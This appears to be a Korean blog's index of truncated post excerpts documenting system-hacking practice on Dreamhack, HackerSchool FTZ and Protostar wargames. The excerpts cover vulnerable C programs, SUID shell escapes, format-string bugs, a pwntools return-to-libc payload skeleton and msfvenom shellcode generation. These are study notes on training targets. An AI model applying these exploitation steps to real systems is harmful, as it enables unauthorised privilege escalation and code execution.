dreamhack wargame -1
·
시스템 해킹
https://dreamhack.io/wargame/challenges/410 입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.감 잡기 어려우신 분들은 아래 코드를 가지고 먼저 연습해보세요!플래그 형식은 DH{...} 입니다. DH{와 }도 모두 포함하여 인증해야 합니다.   shell_basic 문제source courde // Compile: gcc -o shell_basic shell_basic.c -lseccomp// apt insta..
HackerSchool FTZ - 3
·
시스템 해킹
idlevel3passwdcan you fly?    lscat hint -------------------------------------------------------------#include  #include  #include  int main(int argc, char **argv){     char cmd[100];     if( argc!=2 ){         printf( "Auto Digger Version 0.9\n" );         printf( "Usage : %s host\n", argv[0] );         exit(0);     }     strcpy( cmd, "dig @" );     strcat( cmd, argv[1] );     strcat( cmd, " ve..
HackerSchool FTZ - 2
·
시스템 해킹
id:level2passwd:hacker or cracker    ls -alcat hint힌트를 살펴보자 편집이 가능하고 실행이 가능하므로 4300기존과 같이 level3의 권한을 사용할 수 있는것을 확인했다. find / -user level3 -perm -4300/usr/bin/editor 에서 level3의 권한을 사용할 수 있는 것을 확인함 또는find / -user level3 -perm -4300 2 > /dev/null/usr/bin/editor 파일 설명자설명2 > /dev/null표준 오류(진단) 출력표준 오류 출력만 무시하는 경우  cd /usr/bin/./editor :!/bin/sh에디터에서 쉘을 획득하기위해 실행한다. level3 권한으로 쉘권한을 획득함   my-pass 명령을..
HackerSchool FTZ - 1
·
시스템 해킹
id level1passwd level1 ls -alhint가 보인다 hint를 보자 cat hint  find / -user level2 -perm -4000 permission denied 가 아닌 /bin/ExecuteMe 파일을 확인한다.  cd /bin/./ExecuteMe ./ExecuteMe현재 level 1의 권한이므로 /bin/sh 쉘을 실행한다.   이제 level2 의 권한이므로 my-pass를 실행   level1 의 문제를 해결하였다 level2의 패스워드는 hacker or cracker
HackerSchool FTZ trainning 전체
·
시스템 해킹
기초를 다듬기위해 hackerschool ftz를 진행중  trainer2 linuxer trainer3 computer [trainer3@ftz trainer3]$ w  08:45:32  up  2:56,  3 users,  load average: 0.00, 0.00, 0.00 USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT root     tty1     -                 5:50am  2:54m  0.03s  0.03s  -bash trainer1 pts/0    192.168.248.1     7:15am  1:29m  0.00s  0.00s  -sh trainer3 pts/1    192.168.248...
포멧스트링 버그 - 데이터쓰기
·
시스템 해킹
man 3 printf %n에서 데이터 쓰기관련된 내용이 여기서 볼 수 있다.데이터를 읽어서 변환을 시켜주는 converting역할을 하지만 %n은 문자의 개수를 쓰는 역할을한다.  a에 데이터를 넣는 방법은 %n을 넣는다... 앞에 점이 찍으면 문자가 두개가되는것 #include int main(){ int a = 0; printf("..%n",&a);/* 이뒤에 %d를 넣으면 변수가 전달되지않았는데도 변수를 실행하게된다. */ if(a!=0) { printf("code detection\n"); /* 이문자가 출력되기위해서는 # a에 데이터가 씌워지면 %n에 데이터가 있다는것이다 */ } return 0;}알기위해 코드를 작성한다.gcc -o format_printf_n format_printf_n...
포멧 스트링 버그 읽기
·
시스템 해킹
먼저 이론과 구조를 알아보자  #include int main(){ char buf[64]; gets(buf); printf(buf);/*# 이뒤에 %d를 넣으면 변수가 전달되지않았는데도 변수를 실행하게된다. */ return 0;} vi format_gets.c임의로 파일을 하나만들어서 gcc -o format_gets format_gets.c컴파일을하여 이론과 구조를 살펴보자 위와같이 코딩을하게된 뒤 %d %d %d를 넣었을떄%d %d %d가 출력되는 것이 아니라 변수가 전달되지않았어도 변수를 실행하게된다. 아무것도 전달하지않았는데 가져온 것을 알 수 있다.  #include int main(){ printf("%d %d %d %d", 1, 2, 3, 4, 5, 6, 7, 8, 9, 10); retu..
Protostar - stack 7 ROP
·
시스템 해킹
#include #include #include #include char *getpath(){ char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xb0000000) == 0xb0000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); return strdup(buffer);}int main(int argc, char **argv){ getpath();}protostar -stack 7의 코드이다 stack 6의 ..
Protostar - stack 7 jmpcall을 사용한 우회 방법 (exploit 코드만 작성 )
·
시스템 해킹
#include #include #include #include char *getpath(){ char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xb0000000) == 0xb0000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); return strdup(buffer);}int main(int argc, char **argv){ getpath();}protostar stack -7 소스코드이다. 두가지 방법을..
Protostack - stack 5 를 stack6 방법으로 해결하기
·
시스템 해킹
#include #include #include #include int main(int argc, char **argv){ char buffer[64]; gets(buffer);}protostar - stack 5의 소스코드이다. stack 6방법을 통하여 stack 5 테스트 exploit코드를 파이썬으로 작성 #!stack5.pyfrom pwn import * system = p32(시스템주소 넣기)dummy = p32(0xFFFFFFFF)bin_sh = p32(bin_sh주소넣기)offset = 위치넣기payload = b'A'*offset + system + dummy + bin_sh#return2 라이브러리를 사용한다.p = process(['stack5'])p.sendline(payload)p..
Protostar stack - 6 함정을 지나 ret하기
·
시스템 해킹
#include #include #include #include void getpath(){ char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer);}int main(int argc, char **argv){ getpath();}stack6의 소스코드이다   매우중요이번부터는 무조건 직접 컴파일 하는게 아닌 프로토스타 iso쪽의 컴..
Protostar stack - 5 쉘코드 생성, 리눅스 어태치 방법
·
시스템 해킹
#include #include #include #include int main(int argc, char **argv){ char buffer[64]; gets(buffer);} stack 5의 소스코드이다. 쉘코드를 실행하라는 문제이다 기존에는 원하는 플로우가 있었지만 공격자가 원하는 코드가 없을 확률이높고쉘코드를 실행하여 해결한다.     msfvenom -p linux/x64/exec cmd='/bin/sh' -f python쉘코드를 생성하였다. linux/x64/exec 페이로드를 사용한다. msfvenom -l | grep linux리눅스 관련된 페이로드 쉘코드를 찾는다.  buf =  b""buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50..
Protostar stack - 4 pwn, return 덮어씌워서 코드 흐름 변경
·
시스템 해킹
#include #include #include #include void win(){ printf("code flow successfully changed\n");}int main(int argc, char **argv){ char buffer[64]; gets(buffer);} stack 4 번의 문제이다 return을 하게되어있어서main도 중간에 실행이되서  stuck프로그램이라고하는데 중간에 main으로 빠지고 돌아오는데이떄 return주소를 win으로 바꾸게되면 win이 실행된다 return -> ebp -> buffer 버퍼를 변조하면 win을 실행하게만들수 있다.   gcc -z execstack -no-pie -w -o stack4 stack4.cgdb ./stack4 call 에서 bof..
Protostar stack - 3 pwn 툴 사용해서 공격
·
시스템 해킹
##### Source code```c#include #include #include #include void win(){  printf("code flow successfully changed\n");}int main(int argc, char **argv){  volatile int (*fp)();  char buffer[64];  fp = 0;  gets(buffer);  if(fp) {      printf("calling function pointer, jumping to 0x%08x\n", fp);      fp();  }}```Use BOF to change the value of the function pointer fp, make it point to the address of funct..
Protostar stack - 2 peda 사용
·
시스템 해킹
#### Protostar Stack2 ##### AboutStack2 looks at environment variables, and how they can be set.   This level is at /opt/protostar/bin/stack2##### Source code```c#include #include #include #include int main(int argc, char **argv){  volatile int modified;  char buffer[64];  char *variable;  variable = getenv("GREENIE");  if(variable == NULL) {      errx(1, "please set the GREENIE environment vari..
Protostar - stack 1
·
시스템 해킹
#### Protostar Stack1 ##### AboutThis level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory.  This level is at /opt/protostar/bin/stack1###### Hints* If you are unfamiliar with the hexadecimal being displayed, “man ascii” is your friend.* Protostar is little endian##### Source code```c#include #include #include #include ..
Protostar stack0 시작
·
시스템 해킹
https://github.com/z3tta/Exploit-Exercises-Protostar   GitHub - z3tta/Exploit-Exercises-Protostar: Solutions for Exploit-Exercises ProtostarSolutions for Exploit-Exercises Protostar. Contribute to z3tta/Exploit-Exercises-Protostar development by creating an account on GitHub.github.com  프로토스타 문제 관력 깃허브 사이트 꼭있어야함!  #### Protostar Stack0##### AboutThis level introduces the concept that memory can ..
프로토스타 설치
·
시스템 해킹
https://drive.google.com/drive/folders/18ILEMLR7oNw1X4n4ZXn7hmLDy3lxaRi7 프로토스타 - Google Drive이 폴더에 파일이 없습니다.이 폴더에 파일을 추가하려면 로그인하세요.drive.google.com iso 파일을 다운받은 뒤 칼리에서 설치한다.    실행하고   아이디비번은id : root pwd: godmode   푸티설치 https://www.softonic.kr/download/putty/windows/post-download Download PuTTY 0.80 - free - latest versionMicrosoft PowerPoint El software por excelencia para crear presentaciones ..
스택 공격 기법 이해하기
·
시스템 해킹
https://www.youtube.com/watch?v=DvuWTPqmD8I&t=0s 참고강의   EBP:스택의 베이스주소를 가리키는 레지스터ESP 스택의 탑 주소를 가리키는 레지스터EIP 다음 실행할 명령어를 가리키는 레지스터     MAIN은 중간의 plus 함수를 호출하게되는데 plus함수가 끝나면 main함수의 다음스텝으로 넘어가게 저장이된  plus라는 홈수를 전달할떄 인자가 필요하게된다 사전의 3이실행이되면서 esp가 3이되고 그뒤에 2가 쌓인다 인자가 꺼꾸로 들어가게되고 call plus를 하게되면 함수에 돌아갈 주소가 필요하게된다     plus 함수에는 이런 내용이있다 ebp 내용이 들어가게되고 스택을 구성하는 요소이다. 스택프레임에대한 모양을 저장하는 곳 main으로 돌아갔을떄 스택모..
gdb와 ida를 통해 문제 풀이 1
·
시스템 해킹
sudo apt-get install gdb wget https://www.youtube.com/redirect?event=video_description&redir_token=QUFFLUhqbDRUMkRFcUtFSTgtcmdPZk5UcUZtRU1TUDBaZ3xBQ3Jtc0trcHZ0Q0ZyNnpBXy1xbTJkUW1Hd0lCZzZCMWJ0Z1VIbXNoUzV3OU5jME9nV3hoaVFIak95QS1NTEp4ekpIb2VGTEdsRkRZRXlBc2ljeTRrZDNOMTc3blE1b05lamgtdDU0N2MxUkVZc1djMVgwQzg2Yw&q=https%3A%2F%2Fgithub.com%2FLiveOverflow%2Fliveoverflow_youtube%2Fraw%2Fmaster%2F0x05_simpl..